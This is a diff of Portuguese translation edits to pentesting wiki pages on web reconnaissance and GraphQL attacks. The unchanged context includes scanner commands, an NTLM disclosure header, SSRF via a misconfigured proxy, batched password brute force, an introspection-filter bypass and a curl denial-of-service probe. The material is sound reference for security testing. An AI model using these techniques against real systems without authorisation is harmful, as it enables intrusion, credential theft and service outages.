-[**droopscan**](https://github.com/droope/droopescan)**:** [**Drupal**](drupal/)**,** [**Joomla**](joomla.md)**,** [**Moodle**](moodle.md)**, Silverstripe,** [**Wordpress**](wordpress.md)
+[**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat/index.html)**, Railo, Axis2, Glassfish**\
+[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin** websites para questões de segurança. (GUI)\
+[**VulnX**](https://github.com/anouarbensaad/vulnx)**:** [**Joomla**](joomla.md)**,** [**Wordpress**](wordpress.md)**,** [**Drupal**](drupal/index.html)**, PrestaShop, Opencart**\
+**CMSMap**: [**(W)ordpress**](wordpress.md)**,** [**(J)oomla**](joomla.md)**,** [**(D)rupal**](drupal/index.html) **ou** [**(M)oodle**](moodle.md)\
+[**droopscan**](https://github.com/droope/droopescan)**:** [**Drupal**](drupal/index.html)**,** [**Joomla**](joomla.md)**,** [**Moodle**](moodle.md)**, Silverstripe,** [**Wordpress**](wordpress.md)
 ```bash
 cmsmap [-f W] -F -d <URL>
 wpscan --force update -e --url <URL>
@@ -160,7 +160,7 @@ joomlavs.rb #https://github.com/rastating/joomlavs
 - /crossdomain.xml
 - /clientaccesspolicy.xml
 - /.well-known/
-- Verifique também os comentários nas páginas principal e secundárias.
+- Verifique também os comentários nas páginas principais e secundárias.
 
 **Forçando erros**
 
@@ -199,7 +199,7 @@ Informações sobre vulnerabilidades SSL/TLS:
 
 ### Spidering
 
-Lance algum tipo de **spider** dentro da web. O objetivo do spider é **encontrar o maior número possível de caminhos** a partir da aplicação testada. Portanto, a navegação na web e fontes externas devem ser usadas para encontrar o maior número possível de caminhos válidos.
+Lance algum tipo de **spider** dentro da web. O objetivo do spider é **encontrar o maior número possível de caminhos** a partir da aplicação testada. Portanto, a exploração da web e fontes externas devem ser usadas para encontrar o maior número possível de caminhos válidos.
 
 - [**gospider**](https://github.com/jaeles-project/gospider) (go): Spider HTML, LinkFinder em arquivos JS e fontes externas (Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com).
 - [**hakrawler**](https://github.com/hakluke/hakrawler) (go): Spider HML, com LinkFinder para arquivos JS e Archive.org como fonte externa.
@@ -211,9 +211,9 @@ Lance algum tipo de **spider** dentro da web. O objetivo do spider é **encontra
 - [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): Este script encontrará URLs com parâmetros e os listará.
 - [**galer**](https://github.com/dwisiswant0/galer) (go): Spider HTML com capacidades de renderização JS.
 - [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): Spider HTML, com capacidades de embelezamento JS capaz de buscar novos caminhos em arquivos JS. Também pode valer a pena dar uma olhada no [JSScanner](https://github.com/dark-warlord14/JSScanner), que é um wrapper do LinkFinder.
-- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Para extrair endpoints tanto no código fonte HTML quanto em arquivos javascript incorporados. Útil para caçadores de bugs, red teamers, ninjas de infosec.
+- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Para extrair endpoints tanto no código-fonte HTML quanto em arquivos JavaScript incorporados. Útil para caçadores de bugs, red teamers, ninjas de infosec.
 - [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): Um script python 2.7 usando Tornado e JSBeautifier para analisar URLs relativas de arquivos JavaScript. Útil para descobrir facilmente requisições AJAX. Parece não estar sendo mantido.
-- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Dado um arquivo (HTML), ele extrairá URLs dele usando expressões regulares engenhosas para encontrar e extrair as URLs relativas de arquivos feios (minificados).
+- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Dado um arquivo (HTML), ele extrairá URLs dele usando expressões regulares para encontrar e extrair as URLs relativas de arquivos feios (minificados).
 - [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, várias ferramentas): Coletar informações interessantes de arquivos JS usando várias ferramentas.
 - [**subjs**](https://github.com/lc/subjs) (go): Encontrar arquivos JS.
 - [**page-fetch**](https://github.com/detectify/page-fetch) (go): Carregar uma página em um navegador sem cabeça e imprimir todas as URLs carregadas para carregar a página.
@@ -224,7 +224,7 @@ Lance algum tipo de **spider** dentro da web. O objetivo do spider é **encontra
 - [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Descobrir links da máquina wayback (também baixando as respostas na wayback e procurando mais links).
 - [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Rastear (mesmo preenchendo formulários) e também encontrar informações sensíveis usando regexes específicas.
 - [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite é um avançado Crawler/Spider de segurança web com múltiplas funcionalidades projetado para profissionais de cibersegurança.
-- [**jsluice**](https://github.com/BishopFox/jsluice) (go): É um pacote Go e [ferramenta de linha de comando](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) para extrair URLs, caminhos, segredos e outros dados interessantes do código fonte JavaScript.
+- [**jsluice**](https://github.com/BishopFox/jsluice) (go): É um pacote Go e [ferramenta de linha de comando](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) para extrair URLs, caminhos, segredos e outros dados interessantes do código-fonte JavaScript.
 - [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge é uma simples **extensão do Burp Suite** para **extrair os parâmetros e endpoints** da requisição para criar listas de palavras personalizadas para fuzzing e enumeração.
 - [**katana**](https://github.com/projectdiscovery/katana) (go): Ferramenta incrível para isso.
 - [**Crawley**](https://github.com/s0rg/crawley) (go): Imprimir todos os links que conseguir encontrar.
@@ -264,11 +264,11 @@ Ferramentas:
 - _/usr/share/wordlists/dirb/big.txt_
 - _/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt_
 
-_Observe que sempre que um novo diretório for descoberto durante a força bruta ou spidering, ele deve ser forçado._
+_Nota que sempre que um novo diretório for descoberto durante a força bruta ou spidering, ele deve ser Forçado._
 
 ### O que verificar em cada arquivo encontrado
 
-- [**Verificador de links quebrados**](https://github.com/stevenvachon/broken-link-checker): Encontre links quebrados dentro de HTMLs que podem estar propensos a tomadas.
+- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): Encontrar links quebrados dentro de HTMLs que podem estar propensos a tomadas de controle.
 - **Backups de Arquivos**: Uma vez que você tenha encontrado todos os arquivos, procure por backups de todos os arquivos executáveis ("_.php_", "_.aspx_"...). Variações comuns para nomear um backup são: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp e file.old._ Você também pode usar a ferramenta [**bfac**](https://github.com/mazen160/bfac) **ou** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.**
 - **Descobrir novos parâmetros**: Você pode usar ferramentas como [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **e** [**Param Miner**](https://github.com/PortSwigger/param-miner) **para descobrir parâmetros ocultos. Se puder, você poderia tentar buscar** parâmetros ocultos em cada arquivo web executável.
 - _Arjun todas as listas de palavras padrão:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db)
@@ -276,10 +276,10 @@ _Observe que sempre que um novo diretório for descoberto durante a força bruta
 - _Assetnote “parameters_top_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io)
 - _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773)
 - **Comentários:** Verifique os comentários de todos os arquivos, você pode encontrar **credenciais** ou **funcionalidade oculta**.
-- Se você estiver jogando **CTF**, um truque "comum" é **esconder** **informações** dentro de comentários à **direita** da **página** (usando **centenas** de **espaços** para que você não veja os dados se abrir o código fonte com o navegador). Outra possibilidade é usar **várias novas linhas** e **esconder informações** em um comentário na **parte inferior** da página web.
+- Se você estiver jogando **CTF**, um truque "comum" é **esconder** **informações** dentro de comentários à **direita** da **página** (usando **centenas** de **espaços** para que você não veja os dados se abrir o código-fonte com o navegador). Outra possibilidade é usar **várias novas linhas** e **esconder informações** em um comentário na **parte inferior** da página web.
 - **Chaves de API**: Se você **encontrar alguma chave de API**, há um guia que indica como usar chaves de API de diferentes plataformas: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](<https://github.com/l4yton/RegHex)/>)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird).
 - Chaves de API do Google: Se você encontrar alguma chave de API parecida com **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik, você pode usar o projeto [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) para verificar quais APIs a chave pode acessar.
-- **Buckets S3**: Enquanto faz spidering, veja se algum **subdomínio** ou algum **link** está relacionado a algum **bucket S3**. Nesse caso, [**verifique** as **permissões** do bucket](buckets/).
+- **Buckets S3**: Enquanto faz spidering, verifique se algum **subdomínio** ou algum **link** está relacionado a algum **bucket S3**. Nesse caso, [**verifique** as **permissões** do bucket](buckets/index.html).
 
 ### Descobertas Especiais
 
@@ -295,10 +295,10 @@ _Observe que sempre que um novo diretório for descoberto durante a força bruta
 - Você também deve verificar os arquivos JS descobertos com [**RetireJS**](https://github.com/retirejs/retire.js/) ou [**JSHole**](https://github.com/callforpapers-source/jshole) para descobrir se são vulneráveis.
 - **Deobfuscador e Desempacotador de Javascript:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator).
 - **Embelezador de Javascript:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org).
-- **Desofuscação JsFuck** (javascript com caracteres:"\[]!+" [https://enkhee-osiris.github.io/Decoder-JSFuck/](https://enkhee-osiris.github.io/Decoder-JSFuck/)).
+- **Deobfuscação JsFuck** (javascript com caracteres:"\[]!+" [https://enkhee-osiris.github.io/Decoder-JSFuck/](https://enkhee-osiris.github.io/Decoder-JSFuck/)).
 - [**TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.`
 - Em várias ocasiões, você precisará **entender as expressões regulares** usadas. Isso será útil: [https://regex101.com/](https://regex101.com) ou [https://pythonium.net/regex](https://pythonium.net/regex).
-- Você também pode **monitorar os arquivos onde formulários foram detectados**, pois uma mudança no parâmetro ou o aparecimento de um novo formulário pode indicar uma nova funcionalidade vulnerável potencial.
+- Você também pode **monitorar os arquivos onde formulários foram detectados**, pois uma mudança no parâmetro ou a aparição de um novo formulário pode indicar uma nova funcionalidade vulnerável potencial.
 
 **403 Forbidden/Basic Authentication/401 Unauthorized (bypass)**
 
@@ -308,12 +308,12 @@ _Observe que sempre que um novo diretório for descoberto durante a força bruta
 
 **502 Proxy Error**
 
-Se alguma página **responder** com esse **código**, provavelmente é um **proxy mal configurado**. **Se você enviar uma requisição HTTP como: `GET https://google.com HTTP/1.1`** (com o cabeçalho host e outros cabeçalhos comuns), o **proxy** tentará **acessar** _**google.com**_ **e você terá encontrado um** SSRF.
+Se alguma página **responder** com esse **código**, provavelmente é um **proxy mal configurado**. **Se você enviar uma requisição HTTP como: `GET https://google.com HTTP/1.1`** (com o cabeçalho do host e outros cabeçalhos comuns), o **proxy** tentará **acessar** _**google.com**_ **e você terá encontrado um** SSRF.
 
 **Autenticação NTLM - Divulgação de informações**
 
 Se o servidor em execução que pede autenticação é **Windows** ou você encontra um login pedindo suas **credenciais** (e pedindo o **nome do domínio**), você pode provocar uma **divulgação de informações**.\
-**Envie** o **cabeçalho**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` e devido ao funcionamento da **autenticação NTLM**, o servidor responderá com informações internas (versão do IIS, versão do Windows...) dentro do cabeçalho "WWW-Authenticate".\
+**Envie** o **cabeçalho**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` e devido a como a **autenticação NTLM funciona**, o servidor responderá com informações internas (versão do IIS, versão do Windows...) dentro do cabeçalho "WWW-Authenticate".\
 Você pode **automatizar** isso usando o **plugin nmap** "_http-ntlm-info.nse_".
 
 **Redirecionamento HTTP (CTF)**

src/network-services-pentesting/pentesting-web/flask.md

@@ -2,11 +2,11 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-**Provavelmente, se você estiver participando de um CTF, uma aplicação Flask estará relacionada a** [**SSTI**](../../pentesting-web/ssti-server-side-template-injection/)**.**
+**Provavelmente, se você estiver participando de um CTF, uma aplicação Flask estará relacionada a** [**SSTI**](../../pentesting-web/ssti-server-side-template-injection/index.html)**.**
 
 ## Cookies
 
-O nome padrão da sessão de cookie é **`session`**.
+O nome padrão da sessão do cookie é **`session`**.
 
 ### Decoder
 

src/network-services-pentesting/pentesting-web/graphql.md

@@ -4,7 +4,7 @@
 
 ## Introdução
 
-GraphQL é **destacado** como uma **alternativa eficiente** à REST API, oferecendo uma abordagem simplificada para consultar dados do backend. Em contraste com REST, que muitas vezes exige inúmeras solicitações em diferentes endpoints para reunir dados, o GraphQL permite a recuperação de todas as informações necessárias por meio de uma **única solicitação**. Essa simplificação **beneficia significativamente os desenvolvedores** ao diminuir a complexidade de seus processos de recuperação de dados.
+GraphQL é **destacado** como uma **alternativa eficiente** à REST API, oferecendo uma abordagem simplificada para consultar dados do backend. Em contraste com REST, que muitas vezes requer inúmeras solicitações em diferentes endpoints para reunir dados, o GraphQL permite a recuperação de todas as informações necessárias por meio de uma **única solicitação**. Essa simplificação **beneficia significativamente os desenvolvedores** ao diminuir a complexidade de seus processos de recuperação de dados.
 
 ## GraphQL e Segurança
 
@@ -31,7 +31,7 @@ A ferramenta [**graphw00f**](https://github.com/dolevf/graphw00f) é capaz de de
 
 #### Consultas Universais <a href="#universal-queries" id="universal-queries"></a>
 
-Para verificar se uma URL é um serviço GraphQL, uma **consulta universal**, `query{__typename}`, pode ser enviada. Se a resposta incluir `{"data": {"__typename": "Query"}}`, isso confirma que a URL hospeda um endpoint GraphQL. Este método depende do campo `__typename` do GraphQL, que revela o tipo do objeto consultado.
+Para verificar se uma URL é um serviço GraphQL, uma **consulta universal**, `query{__typename}`, pode ser enviada. Se a resposta incluir `{"data": {"__typename": "Query"}}`, isso confirma que a URL hospeda um endpoint GraphQL. Este método se baseia no campo `__typename` do GraphQL, que revela o tipo do objeto consultado.
 ```javascript
 query{__typename}
 ```
@@ -57,7 +57,7 @@ Com esta consulta, você pode extrair todos os tipos, seus campos e seus argumen
 
 **Erros**
 
-É interessante saber se os **erros** serão **mostrados**, pois contribuirão com informações úteis.
+É interessante saber se os **erros** serão **exibidos**, pois eles contribuirão com informações úteis.
 ```
 ?query={__schema}
 ?query={}
@@ -172,7 +172,7 @@ Se a introspecção estiver habilitada, você pode usar [**GraphQL Voyager**](ht
 
 Agora que sabemos que tipo de informação está salva dentro do banco de dados, vamos tentar **extrair alguns valores**.
 
-Na introspecção, você pode encontrar **qual objeto você pode consultar diretamente** (porque você não pode consultar um objeto apenas porque ele existe). Na imagem a seguir, você pode ver que o "_queryType_" é chamado "_Query_" e que um dos campos do objeto "_Query_" é "_flags_", que também é um tipo de objeto. Portanto, você pode consultar o objeto flag.
+Na introspecção, você pode encontrar **qual objeto você pode consultar diretamente** (porque você não pode consultar um objeto apenas porque ele existe). Na imagem a seguir, você pode ver que o "_queryType_" é chamado de "_Query_" e que um dos campos do objeto "_Query_" é "_flags_", que também é um tipo de objeto. Portanto, você pode consultar o objeto flag.
 
 ![](<../../images/Screenshot from 2021-03-13 18-17-48.png>)
 
@@ -204,7 +204,7 @@ No entanto, neste exemplo, se você tentar fazer isso, receberá este **erro**:
 Parece que de alguma forma ele irá buscar usando o argumento "_**uid**_" do tipo _**Int**_.\
 De qualquer forma, já sabíamos disso, na seção [Basic Enumeration](graphql.md#basic-enumeration) foi proposta uma consulta que mostrava todas as informações necessárias: `query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}`
 
-Se você ler a imagem fornecida quando executei essa consulta, verá que "_**user**_" tinha o **arg** "_**uid**_" do tipo _Int_.
+Se você ler a imagem fornecida quando eu executei essa consulta, verá que "_**user**_" tinha o **arg** "_**uid**_" do tipo _Int_.
 
 Assim, realizando um leve _**uid**_ bruteforce, descobri que em _**uid**=**1**_ um nome de usuário e uma senha foram recuperados:\
 `query={user(uid:1){user,password}}`
@@ -215,7 +215,7 @@ Note que eu **descobri** que poderia pedir os **parâmetros** "_**user**_" e "_*
 
 ![](<../../images/image (707).png>)
 
-E durante a **fase de enumeração** descobri que o objeto "_**dbuser**_" tinha como campos "_**user**_" e "_**password**_.
+E durante a **fase de enumeração**, descobri que o objeto "_**dbuser**_" tinha como campos "_**user**_" e "_**password**_.
 
 **Truque de despejo de string de consulta (graças ao @BinaryShadow\_)**
 
@@ -289,7 +289,7 @@ Na **introspecção**, você pode encontrar as **mutações** **declaradas**. Na
 
 ![](<../../images/Screenshot from 2021-03-13 18-26-27 (1).png>)
 
-Nesta configuração, um **banco de dados** contém **pessoas** e **filmes**. **Pessoas** são identificadas por seu **email** e **nome**; **filmes** por seu **nome** e **avaliação**. **Pessoas** podem ser amigas umas das outras e também ter filmes, indicando relacionamentos dentro do banco de dados.
+Nesta configuração, um **banco de dados** contém **pessoas** e **filmes**. **Pessoas** são identificadas por seu **email** e **nome**; **filmes** por seu **nome** e **classificação**. **Pessoas** podem ser amigas umas das outras e também ter filmes, indicando relacionamentos dentro do banco de dados.
 
 Uma mutação para **criar novos** filmes dentro do banco de dados pode ser como a seguinte (neste exemplo, a mutação é chamada de `addMovie`):
 ```javascript
@@ -304,7 +304,7 @@ rating
 ```
 **Observe como tanto os valores quanto o tipo de dados são indicados na consulta.**
 
-Além disso, o banco de dados suporta uma operação de **mutação**, chamada `addPerson`, que permite a criação de **pessoas** juntamente com suas associações a **amigos** e **filmes** existentes. É crucial notar que os amigos e filmes devem existir previamente no banco de dados antes de vinculá-los à pessoa recém-criada.
+Além disso, o banco de dados suporta uma operação de **mutation**, chamada `addPerson`, que permite a criação de **persons** juntamente com suas associações a **friends** e **movies** existentes. É crucial notar que os friends e movies devem existir previamente no banco de dados antes de vinculá-los à pessoa recém-criada.
 ```javascript
 mutation {
 addPerson(name: "James Yoe", email: "jy@example.com", friends: [{name: "John Doe"}, {email: "jd@example.com"}], subscribedMovies: [{name: "Rocky"}, {name: "Interstellar"}, {name: "Harry Potter and the Sorcerer's Stone"}]) {
@@ -341,7 +341,7 @@ Como explicado em [**uma das vulnerabilidades descritas neste relatório**](http
 Esta informação foi retirada de [https://lab.wallarm.com/graphql-batching-attack/](https://lab.wallarm.com/graphql-batching-attack/).\
 Autenticação através da API GraphQL com **envio simultâneo de muitas consultas com diferentes credenciais** para verificá-las. É um ataque clássico de força bruta, mas agora é possível enviar mais de um par login/senha por solicitação HTTP devido ao recurso de agrupamento do GraphQL. Essa abordagem enganaria aplicativos externos de monitoramento de taxa, fazendo-os pensar que tudo está bem e que não há um bot de força bruta tentando adivinhar senhas.
 
-Abaixo você pode encontrar a demonstração mais simples de uma solicitação de autenticação de aplicativo, com **3 pares diferentes de email/senha ao mesmo tempo**. Obviamente, é possível enviar milhares em uma única solicitação da mesma forma:
+Abaixo você pode encontrar a demonstração mais simples de uma solicitação de autenticação de aplicativo, com **3 pares de email/senha diferentes ao mesmo tempo**. Obviamente, é possível enviar milhares em uma única solicitação da mesma forma:
 
 ![](<../../images/image (1081).png>)
 
@@ -353,13 +353,13 @@ Como podemos ver na captura de tela da resposta, a primeira e a terceira solicit
 
 Cada vez mais **endpoints graphql estão desativando a introspecção**. No entanto, os erros que o graphql gera quando uma solicitação inesperada é recebida são suficientes para ferramentas como [**clairvoyance**](https://github.com/nikitastupin/clairvoyance) recriarem a maior parte do esquema.
 
-Além disso, a extensão Burp Suite [**GraphQuail**](https://github.com/forcesunseen/graphquail) **observa solicitações da API GraphQL passando pelo Burp** e **constrói** um **esquema** interno do GraphQL com cada nova consulta que vê. Ela também pode expor o esquema para GraphiQL e Voyager. A extensão retorna uma resposta falsa quando recebe uma consulta de introspecção. Como resultado, o GraphQuail mostra todas as consultas, argumentos e campos disponíveis para uso dentro da API. Para mais informações [**verifique isso**](https://blog.forcesunseen.com/graphql-security-testing-without-a-schema).
+Além disso, a extensão Burp Suite [**GraphQuail**](https://github.com/forcesunseen/graphquail) **observa solicitações de API GraphQL passando pelo Burp** e **constrói** um **esquema** interno de GraphQL com cada nova consulta que vê. Ela também pode expor o esquema para GraphiQL e Voyager. A extensão retorna uma resposta falsa quando recebe uma consulta de introspecção. Como resultado, o GraphQuail mostra todas as consultas, argumentos e campos disponíveis para uso dentro da API. Para mais informações [**verifique isso**](https://blog.forcesunseen.com/graphql-security-testing-without-a-schema).
 
 Uma boa **lista de palavras** para descobrir [**entidades GraphQL pode ser encontrada aqui**](https://github.com/Escape-Technologies/graphql-wordlist?).
 
 ### Contornando defesas de introspecção do GraphQL <a href="#bypassing-graphql-introspection-defences" id="bypassing-graphql-introspection-defences"></a>
 
-Para contornar restrições em consultas de introspecção em APIs, inserir um **caractere especial após a palavra-chave `__schema`** prova ser eficaz. Este método explora descuidos comuns de desenvolvedores em padrões regex que visam bloquear a introspecção, focando na palavra-chave `__schema`. Ao adicionar caracteres como **espaços, quebras de linha e vírgulas**, que o GraphQL ignora, mas que podem não ser considerados no regex, as restrições podem ser contornadas. Por exemplo, uma consulta de introspecção com uma quebra de linha após `__schema` pode contornar tais defesas:
+Para contornar restrições em consultas de introspecção em APIs, inserir um **caractere especial após a palavra-chave `__schema`** prova ser eficaz. Este método explora descuidos comuns de desenvolvedores em padrões regex que visam bloquear a introspecção, concentrando-se na palavra-chave `__schema`. Ao adicionar caracteres como **espaços, novas linhas e vírgulas**, que o GraphQL ignora, mas que podem não ser considerados no regex, as restrições podem ser contornadas. Por exemplo, uma consulta de introspecção com uma nova linha após `__schema` pode contornar tais defesas:
 ```bash
 # Example with newline to bypass
 {
@@ -367,7 +367,7 @@ Para contornar restrições em consultas de introspecção em APIs, inserir um *
 {queryType{name}}}"
 }
 ```
-Se não tiver sucesso, considere métodos de solicitação alternativos, como **solicitações GET** ou **POST com `x-www-form-urlencoded`**, uma vez que as restrições podem se aplicar apenas às solicitações POST.
+Se não tiver sucesso, considere métodos de solicitação alternativos, como **GET requests** ou **POST com `x-www-form-urlencoded`**, uma vez que restrições podem se aplicar apenas a solicitações POST.
 
 ### Tente WebSockets
 
@@ -405,7 +405,7 @@ file:* query
 ```
 ## CSRF em GraphQL
 
-Se você não sabe o que é CSRF, leia a seguinte página:
+Se você não sabe o que é CSRF, leia a página a seguir:
 
 {{#ref}}
 ../../pentesting-web/csrf-cross-site-request-forgery.md
@@ -413,11 +413,11 @@ Se você não sabe o que é CSRF, leia a seguinte página:
 
 Lá fora, você poderá encontrar vários endpoints GraphQL **configurados sem tokens CSRF.**
 
-Observe que as requisições GraphQL geralmente são enviadas via requisições POST usando o Content-Type **`application/json`**.
+Observe que as requisições GraphQL geralmente são enviadas por meio de requisições POST usando o Content-Type **`application/json`**.
 ```javascript
 {"operationName":null,"variables":{},"query":"{\n  user {\n    firstName\n    __typename\n  }\n}\n"}
 ```
-No entanto, a maioria dos endpoints GraphQL também suporta **`form-urlencoded` solicitações POST:**
+No entanto, a maioria dos endpoints GraphQL também suporta **`form-urlencoded` POST requests:**
 ```javascript
 query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A
 ```
@@ -425,9 +425,9 @@ Portanto, como as solicitações CSRF, como as anteriores, são enviadas **sem s
 
 No entanto, observe que o novo valor padrão do cookie da flag `samesite` do Chrome é `Lax`. Isso significa que o cookie só será enviado de um site de terceiros em solicitações GET.
 
-Observe que geralmente é possível enviar a **solicitação** **de consulta** também como uma **solicitação GET e o token CSRF pode não ser validado em uma solicitação GET.**
+Observe que geralmente é possível enviar a **solicitação de consulta** também como uma **solicitação GET e o token CSRF pode não estar sendo validado em uma solicitação GET.**
 
-Além disso, abusando de um [**XS-Search**](../../pentesting-web/xs-search/) **ataque**, pode ser possível exfiltrar conteúdo do endpoint GraphQL abusando das credenciais do usuário.
+Além disso, abusando de um [**XS-Search**](../../pentesting-web/xs-search/index.html) **ataque**, pode ser possível exfiltrar conteúdo do endpoint GraphQL abusando das credenciais do usuário.
 
 Para mais informações **verifique o** [**post original aqui**](https://blog.doyensec.com/2021/05/20/graphql-csrf.html).
 
@@ -443,7 +443,7 @@ Para mais informações, verifique:
 
 ## Autorização no GraphQL
 
-Muitas funções do GraphQL definidas no endpoint podem apenas verificar a autenticação do solicitante, mas não a autorização.
+Muitas funções GraphQL definidas no endpoint podem apenas verificar a autenticação do solicitante, mas não a autorização.
 
 Modificar variáveis de entrada de consulta pode levar a detalhes sensíveis da conta [vazados](https://hackerone.com/reports/792927).
 
@@ -459,7 +459,7 @@ A mutação pode até levar a uma tomada de conta ao tentar modificar dados de o
 
 [Chaining queries](https://s1n1st3r.gitbook.io/theb10g/graphql-query-authentication-bypass-vuln) juntos pode contornar um sistema de autenticação fraco.
 
-No exemplo abaixo, você pode ver que a operação é "forgotPassword" e que ela deve executar apenas a consulta forgotPassword associada. Isso pode ser contornado adicionando uma consulta ao final, neste caso, adicionamos "register" e uma variável de usuário para o sistema registrar como um novo usuário.
+No exemplo abaixo, você pode ver que a operação é "forgotPassword" e que ela deve executar apenas a consulta forgotPassword associada a ela. Isso pode ser contornado adicionando uma consulta ao final; neste caso, adicionamos "register" e uma variável de usuário para o sistema registrar como um novo usuário.
 
 <figure><img src="../../images/GraphQLAuthBypassMethod.PNG" alt=""><figcaption></figcaption></figure>
 
@@ -513,7 +513,7 @@ Neste exemplo, 10 consultas diferentes são agrupadas em uma única solicitaçã
 
 ### **Vulnerabilidade de Sobrecarga de Diretiva**
 
-**Sobrecarga de Diretiva** ocorre quando um servidor GraphQL permite consultas com diretivas excessivas e duplicadas. Isso pode sobrecarregar o analisador e o executor do servidor, especialmente se o servidor processar repetidamente a mesma lógica de diretiva. Sem validação ou limites adequados, um atacante pode explorar isso criando uma consulta com numerosas diretivas duplicadas para acionar um alto uso computacional ou de memória, levando a **Negação de Serviço (DoS)**.
+**Sobrecarga de Diretiva** ocorre quando um servidor GraphQL permite consultas com diretivas excessivas e duplicadas. Isso pode sobrecarregar o analisador e o executor do servidor, especialmente se o servidor processar repetidamente a mesma lógica de diretiva. Sem validação ou limites adequados, um atacante pode explorar isso criando uma consulta com numerosas diretivas duplicadas para acionar alto uso computacional ou de memória, levando a **Denial of Service (DoS)**.
 ```bash
 # Test provided by https://github.com/dolevf/graphql-cop
 curl -X POST -H "User-Agent: graphql-cop/1.13" \
@@ -552,14 +552,14 @@ curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/jso
 
 - [https://github.com/dolevf/graphql-cop](https://github.com/dolevf/graphql-cop): Testa configurações incorretas comuns de endpoints graphql
 - [https://github.com/assetnote/batchql](https://github.com/assetnote/batchql): Script de auditoria de segurança GraphQL com foco em realizar consultas e mutações GraphQL em lote.
-- [https://github.com/dolevf/graphw00f](https://github.com/dolevf/graphw00f): Identifica a impressão digital do graphql sendo usado
+- [https://github.com/dolevf/graphw00f](https://github.com/dolevf/graphw00f): Identifica a graphql sendo usada
 - [https://github.com/gsmith257-cyber/GraphCrawler](https://github.com/gsmith257-cyber/GraphCrawler): Conjunto de ferramentas que pode ser usado para capturar esquemas e buscar dados sensíveis, testar autorização, forçar esquemas e encontrar caminhos para um tipo específico.
 - [https://blog.doyensec.com/2020/03/26/graphql-scanner.html](https://blog.doyensec.com/2020/03/26/graphql-scanner.html): Pode ser usado como autônomo ou [extensão Burp](https://github.com/doyensec/inql).
 - [https://github.com/swisskyrepo/GraphQLmap](https://github.com/swisskyrepo/GraphQLmap): Pode ser usado como um cliente CLI também para automatizar ataques
 - [https://gitlab.com/dee-see/graphql-path-enum](https://gitlab.com/dee-see/graphql-path-enum): Ferramenta que lista as diferentes maneiras de **acessar um tipo específico em um esquema GraphQL**.
 - [https://github.com/doyensec/GQLSpection](https://github.com/doyensec/GQLSpection): O sucessor dos Modos Autônomo e CLI do InQL
 - [https://github.com/doyensec/inql](https://github.com/doyensec/inql): Extensão Burp para testes avançados de GraphQL. O _**Scanner**_ é o núcleo do InQL v5.0, onde você pode analisar um endpoint GraphQL ou um arquivo de esquema de introspecção local. Ele gera automaticamente todas as possíveis consultas e mutações, organizando-as em uma visão estruturada para sua análise. O componente _**Attacker**_ permite que você execute ataques GraphQL em lote, o que pode ser útil para contornar limites de taxa mal implementados.
-- [https://github.com/nikitastupin/clairvoyance](https://github.com/nikitastupin/clairvoyance): Tenta obter o esquema mesmo com a introspecção desativada, usando a ajuda de alguns bancos de dados Graphql que sugerem os nomes de mutações e parâmetros.
+- [https://github.com/nikitastupin/clairvoyance](https://github.com/nikitastupin/clairvoyance): Tenta obter o esquema mesmo com a introspecção desativada usando a ajuda de alguns bancos de dados Graphql que sugerem os nomes de mutações e parâmetros.
 
 ### Clientes
 

src/network-services-pentesting/pentesting-web/php-tricks-esp/README.md

@@ -19,11 +19,11 @@ Localizações:
 /tmp/
